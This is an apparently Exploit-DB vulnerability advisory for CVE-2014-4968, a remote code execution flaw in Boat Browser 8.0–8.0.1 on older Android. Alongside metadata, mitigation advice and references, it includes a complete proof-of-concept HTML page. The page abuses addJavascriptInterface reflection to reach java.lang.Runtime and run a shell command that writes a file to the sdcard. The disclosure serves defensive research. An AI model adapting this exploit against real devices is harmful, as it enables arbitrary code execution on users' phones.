Remote code execution vulnerability in Boat Browser

vendor:

Boat Browser

by:

c0otlass

7,5

CVSS

HIGH

Remote code execution

CWE

Product Name: Boat Browser

Affected Version From: 8.0

Affected Version To: 8.0.1

Patch Exists: YES

Related CWE: 2014-4968

CPE: a:boat_browser:boat_browser

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Android 3.0 through 4.1.x

2014

Remote code execution vulnerability in Boat Browser

The WebView class and use of the WebView.addJavascriptInterface method has vulnerability which cause remote code in html page run in android device. A proof of concept is provided in the text.

Mitigation:

Update to the latest version of the browser

Source

Exploit-DB raw data:

<!--
													.:: Remote code execution vulnerability in Boat Browser ::.

													
credit: c0otlass
social contact: https://twitter.com/c0otlass
mail: c0otlass@gmail.com
CVE reserved : 2014-4968
time of discovery:  July 14, 2014
Browser Official site:http://www.boatmob.com/
Browser download link:https://play.google.com/store/apps/details?id=com.boatbrowser.free&hl=en
version Affected : In  8.0 and 8.0.1 tested , Android 3.0 through 4.1.x 
Risk rate: High
vulnerability Description impact: 
	The WebView class and  use of the WebView.addJavascriptInterface method has vulnerability which cause remote code in html page run in android device
	a related issue to CVE-2012-6636
proof of concept:
//..............................................poc.hmtl............................................
-->
<!DOCTYPE html>
<html>
<head>
<meta charset="UFT-8">
<title>CreatMalTxt POC - WebView</title>
<script>
var obj;
function TestVulnerability()
		{
temp="not";
var myObject = window;
	for (var name in myObject) {										
		if (myObject.hasOwnProperty(name)) {									
			try
			{				
			temp=myObject[name].getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null);												 
			}
			catch(e)
			{														
			}
			}
	}
				if(temp=="not")
						{
							document.getElementById("log").innerHTML="this browser has been patched";												
						}
					else{
						 document.getElementById("log").innerHTML = "This browser is exploitabale" + "<br>" + " the poc file hase been created in sdcard ...<br>" ;
						 document.getElementById("log").innerHTML +=  "we could see proccess information"+ temp.exec(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);																					
						}
		}		
</script>
</head>
<body >
<h3>CreatMalTxt POC</h3>
<input value="Test Vulnerability"  type="button"  onclick="TestVulnerability();" />
<div id="log"></div>
</body>		
</html>

<!--
Solution:
https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/
http://www.programering.com/a/MDM3YzMwATc.html
https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=129859614		

References: 
http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/
https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/
http://50.56.33.56/blog/?p=314
https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/
https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py
-->